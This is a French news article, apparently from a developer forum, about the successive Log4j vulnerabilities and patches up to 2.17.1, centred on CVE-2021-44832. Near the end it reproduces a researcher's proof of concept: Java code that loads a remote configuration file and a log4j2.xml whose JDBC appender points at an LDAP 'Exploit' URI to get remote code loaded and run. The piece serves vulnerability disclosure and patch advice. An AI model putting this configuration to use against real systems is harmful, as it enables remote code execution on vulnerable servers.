Apache a publié une autre version de Log4j, la version 2.17.1, qui corrige une vulnérabilité d'exécution de code à distance (RCE) nouvellement découverte dans Log4j 2.17.0, suivie comme CVE-2021-44832. Avant celle-ci, Log4j 2.17.0 était la version la plus récente de Log4j et était considérée comme la version la plus sûre pour la mise à niveau, mais ce conseil a maintenant évolué.Log4j est une bibliothèque de journalisation open source basée sur Java utilisée dans des millions d'applications. Plus tôt ce mois-ci, une vulnérabilité dans Log4J a été découverte. Elle permet à un attaquant de provoquer une exécution de code arbitraire à distance s'il a la capacité de soumettre une donnée à une application qui utilise la bibliothèque log4j pour journaliser l'évènement. Cette attaque peut être réalisée sans être authentifié, par exemple en tirant parti d'une page d'authentification qui journalise les erreurs d'authentification. Les entreprises spécialisées en cybersécurité ont indiqué que le nombre d'attaques profitant de cette faille se multiplient. Les membres de l’Apache Software Fondation ont développé un patch en catastrophe pour corriger la vulnérabilité, la version 2.15.0. Des contournements sont également possibles pour réduire les risques.
Mais les chercheurs ont signalé qu'il existe au moins deux vulnérabilités dans le correctif, publié sous le nom de Log4J 2.15.0, et que les attaquants exploitent activement l'une d'entre elles ou les deux contre des cibles du monde réel qui ont déjà appliqué la mise à jour. Les chercheurs ont exhorté les organisations à installer un nouveau correctif, publié en tant que version 2.16.0, dès que possible pour corriger la vulnérabilité, qui est suivie comme CVE-2021-45046.
Le correctif précédent, ont déclaré les chercheurs, « était incomplet dans certaines configurations autres que celles par défaut » et permettait aux attaquants d'effectuer des attaques par déni de service, ce qui facilite généralement la mise hors ligne des services vulnérables jusqu'à ce que les victimes redémarrent leur serveurs ou prennent d'autres mesures. La version 2.16.0 « résout ce problème en supprimant la prise en charge des modèles de recherche de messages et en désactivant la fonctionnalité JNDI par défaut », selon l'avis de vulnérabilité lié ci-dessus.
La version 2.15.0 ne résolvait pas un autre problème - CVE-2021-45046 - qui permettait à un attaquant distant contrôlant le Thread Context Map (MDC) de préparer une entrée malveillante à l'aide d'un modèle de recherche JNDI. Le résultat pourrait être l'exécution de code à distance, heureusement pas dans tous les environnements.
La version 2.16.0 a résolu ce problème. Mais elle n'a pas corrigé CVE-2021-45105, que l'Apache Software Foundation décrit comme suit :
« Les versions 2.0-alpha1 à 2.16.0 d'Apache Log4j2 ne protégeaient pas contre la récursivité incontrôlée des recherches auto-référentielles. Lorsque la configuration de la journalisation utilise une disposition de modèle autre que celle par défaut avec une recherche de contexte (par exemple, $${ctx:loginId}), les attaquants contrôlant les données d'entrée de Thread Context Map (MDC) peuvent créer des données d'entrée malveillantes contenant une recherche récursive, ce qui entraîne une StackOverflowError qui mettra fin au processus. Ceci est également connu sous le nom d'attaque DOS (Denial of Service) ».
Le programme de primes de bogues indépendant des fournisseurs, Zero Day Initiative, a décrit la faille comme suit :
« Lorsqu'une variable imbriquée est remplacée par la classe StrSubstitutor, elle appelle récursivement la classe substitut(). Cependant, lorsque la variable imbriquée fait référence à la variable à remplacer, la récursivité est appelée avec la même chaîne. Cela conduit à une récursivité infinie et à une condition DoS sur le serveur ».
L'ASF a également décrit les mesures d'atténuation suivantes :
Dans PatternLayout dans la configuration de la journalisation, remplacez les recherches de contexte comme ${ctx:loginId} ou $${ctx:loginId} par les modèles de mappe de contexte de thread (%X, %mdc ou %MDC) .
Sinon, dans la configuration, supprimez les références aux recherches contextuelles telles que ${ctx:loginId} ou $${ctx:loginId} lorsqu'elles proviennent de sources externes à l'application telles que les en-têtes HTTP ou les entrées utilisateur.
La faille a été corrigée dans Log4j 2.17.0 (Java 8).
Une nouvelle mise à jour est disponible
Un autre bogue critique d'exécution de code à distance qui est maintenant suivi en tant que CVE-2021-44832 a été découvert dans la même bibliothèque de journalisation Apache Log4j. Il s'agit de la quatrième vulnérabilité de la bibliothèque Log4j.
Classé «*modéré*» en gravité avec un score de 6,6 sur l'échelle CVSS, la vulnérabilité provient du manque de contrôles supplémentaires sur l'accès JDNI dans log4j.
« JDBC Appender doit utiliser JndiManager lors de l'accès à JNDI. L'accès JNDI doit être contrôlé via une propriété système », est-il indiqué sur la description du problème. «*Lié à CVE-2021-44832 où un attaquant autorisé à modifier le fichier de configuration de journalisation peut construire une configuration malveillante à l'aide d'un appender JDBC avec une source de données référençant un URI JNDI qui peut exécuter du code à distance.*»
L'équipe de sécurité d'Apache a publié une autre version d'Apache Log4J (version 2.17.1) corrigeant le bogue d'exécution de code à distance CVE-2021-44832 récemment découvert. C'est une autre mauvaise situation pour la plupart des utilisateurs, mais, encore une fois, il est fortement recommandé de mettre son système à jour pour résoudre ce problème critique.
Le chercheur en sécurité de Checkmarx, Yaniv Nizry, a revendiqué le mérite d'avoir signalé la vulnérabilité d'Apache*:
Le tweet de Nizry a rapidement été relayé, attirant des remarques et des mèmes d'experts en sécurité et de «*victimes*» de la fatigue continue des correctifs log4j.
« J'espère que c'est une blague, j'espère tellement... #log4j », a tweeté un utilisateur en réponse.
« Nous avons LONGTEMPS dépassé le point où la seule chose responsable à faire est de mettre en place une enseigne au néon clignotante géante qui dit "LOG4J NE PEUT PAS ÊTRE RÉPARÉ, NE L'UTILISEZ PAS POUR RIEN" », a raillé un autre.
L'expert en sécurité Kevin Beaumont a qualifié l'instance d'autre «*divulgation ratée de Log4j*» pendant la période des congés.
Une divulgation trop rapide ?
Au moment du tweet de Nizry, il n'y avait pas encore d'avis ou de mémo officiel indiquant la présence d'un bogue RCE dans log4j 2.17.
Le tweet lui-même ne contenait aucun détail sur la vulnérabilité ou sur la manière dont elle pourrait être exploitée, mais, en quelques minutes, a conduit un groupe de professionnels de la sécurité et d'internautes à commencer à enquêter sur la réclamation.
La divulgation prématurée des vulnérabilités de sécurité peut inciter les acteurs malveillants à mener des activités d'analyse et d'exploitation malveillantes, comme en témoigne la fuite d'exploit Log4Shell du 9 décembre.
Marc Rogers, vice-président de la cybersécurité chez Okta a d'abord révélé l'identifiant de la vulnérabilité (CVE-2021-44832) et que l'exploitation du bogue dépend d'une configuration log4j autre que celle par défaut où la configuration est chargée à partir d'un serveur distant*:
Jusqu'à présent, les vulnérabilités de log4j ont été exploitées par toutes sortes d'acteurs malveillants, des pirates informatiques soutenus par des États aux gangs de ransomware et autres pour injecter des mineurs Monero sur des systèmes vulnérables.
Le gang de ransomware Conti a été surpris en train de surveiller des serveurs VMWare vCenter vulnérables. Les attaquants qui ont violé la plateforme de cryptographie vietnamienne, ONUS, via log4shell ont exigé une rançon de 5 millions de dollars.
Les utilisateurs de Log4j doivent immédiatement passer à la dernière version 2.17.1 (pour Java 8). Les versions rétroportées 2.12.4 (Java 7) et 2.3.2 (Java 6) contenant le correctif devraient également être publiées sous peu.
Détails techniques de la nouvelle faille
Yaniv Nizry, un chercheur de la société de sécurité Checkmarx a découvert cette vulnérabilité RCE :
« Étant des chercheurs extrêmement concentrés et dévoués, nous voulions faire nous-mêmes un audit de sécurité sur le package log4j dans l'espoir de trouver quelque chose d'intéressant. Et après une semaine d'examen du code et de tests, nous avons rencontré une nouvelle vulnérabilité de sécurité de désérialisation non découverte. Cette vulnérabilité n'utilise pas la fonction de recherche désactivée. La complexité de cette vulnérabilité est plus élevée que la CVE-2021-44228 d'origine car elle nécessite que l'attaquant ait le contrôle de la configuration (comme la vulnérabilité «*logback*» CVE-2021-42550). Contrairement à logback, dans log4j, il existe une fonctionnalité permettant de charger un fichier de configuration à distance ou de configurer l'enregistreur via le code, de sorte qu'une exécution de code arbitraire pourrait être réalisée avec une attaque MITM, l'entrée de l'utilisateur se retrouvant dans une variable de configuration vulnérable ou en modifiant le fichier de configuration.
« En examinant les fonctionnalités de log4j, nous sommes tombés sur les fonctionnalités «*Appender*». Les appenders sont essentiellement l'endroit où sortir les journaux, nous avons donc par exemple ConsoleAppender, FileAppender, etc.
« Le JDBCAppender a attiré notre attention car il existe des moyens publics d'obtenir RCE via la désérialisation Java JDBC (voir cette conférence Blackhat de Yongtao Wang, Lucas Zhang et Kunzhe Chai pour plus d'informations.)
« Mais avant d'aborder la désérialisation JDBC dans log4j, nous avons remarqué que dans la documentation il existe un moyen de configurer log4j pour qu'il récupère la source de la base de données dynamiquement et à distance via JNDI ».
Il a également donné des étapes à reproduire, notamment la récupération de la configuration à distance via HTTP*:
| Code Java : | Sélectionner tout |
System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml");
En utilisant le même serveur LDAP (Lightweight Directory Access Protocol) que dans le PoC (Proof of Concept) CVE-2021-44228, tout ce que nous avons à faire est d'exécuter*:
| Code Java : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | //log4j.java import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class log4j { static { System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); } private static final Logger logger = LogManager.getLogger(log4j.class); public static void main(String[] args) { } } |
Et pour servir le log4j2.xml suivant*:
| Code XML : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | <?xml version="1.0" encoding="UTF-8"?> <Configuration status="error"> <Appenders> <JDBC name="databaseAppender" tableName="dbo.application_log"> <DataSource jndiName="ldap://127.0.0.1:1389/Exploit" /> <Column name="eventDate" isEventTimestamp="true" /> <Column name="level" pattern="%level" /> <Column name="logger" pattern="%logger" /> <Column name="message" pattern="%message" /> <Column name="exception" pattern="%ex{full}" /> </JDBC> </Appenders> <Loggers> <Root level="warn"> <AppenderRef ref="databaseAppender"/> </Root> </Loggers> </Configuration> |
Quels résultats attendre ? Lors de l'initialisation de l'objet logger, une requête au log4j2.xml distant sera effectuée. Dans le processus de chargement, une tentative de chargement de l'objet DataSource fera une requête au serveur LDAP qui redirigera alors vers une classe malveillante. À la fin, la classe arbitraire sera désérialisée et exécutée.
Pourquoi est-ce critique ? « L'impact de la vulnérabilité log4shell (alias CVE-2021-44228) sur l'industrie était important, et un large éventail d'organisations ont déclaré avoir été affectées. Cela démontre la grande échelle des entreprises qui utilisent log4j dans leurs écosystèmes. L'équipe log4j d'Apache a travaillé dur pour ajouter des correctifs de sécurité à la dernière version de log4j (2.17.0) pour désactiver les recherches et autoriser une liste de protocoles/hôtes. Comme vous pouvez le voir, en utilisant un vecteur d'attaque différent, il est toujours possible de réaliser une exécution de code arbitraire en utilisant la configuration par défaut ».
Source : Checkmarx
Envoyé par walfrat
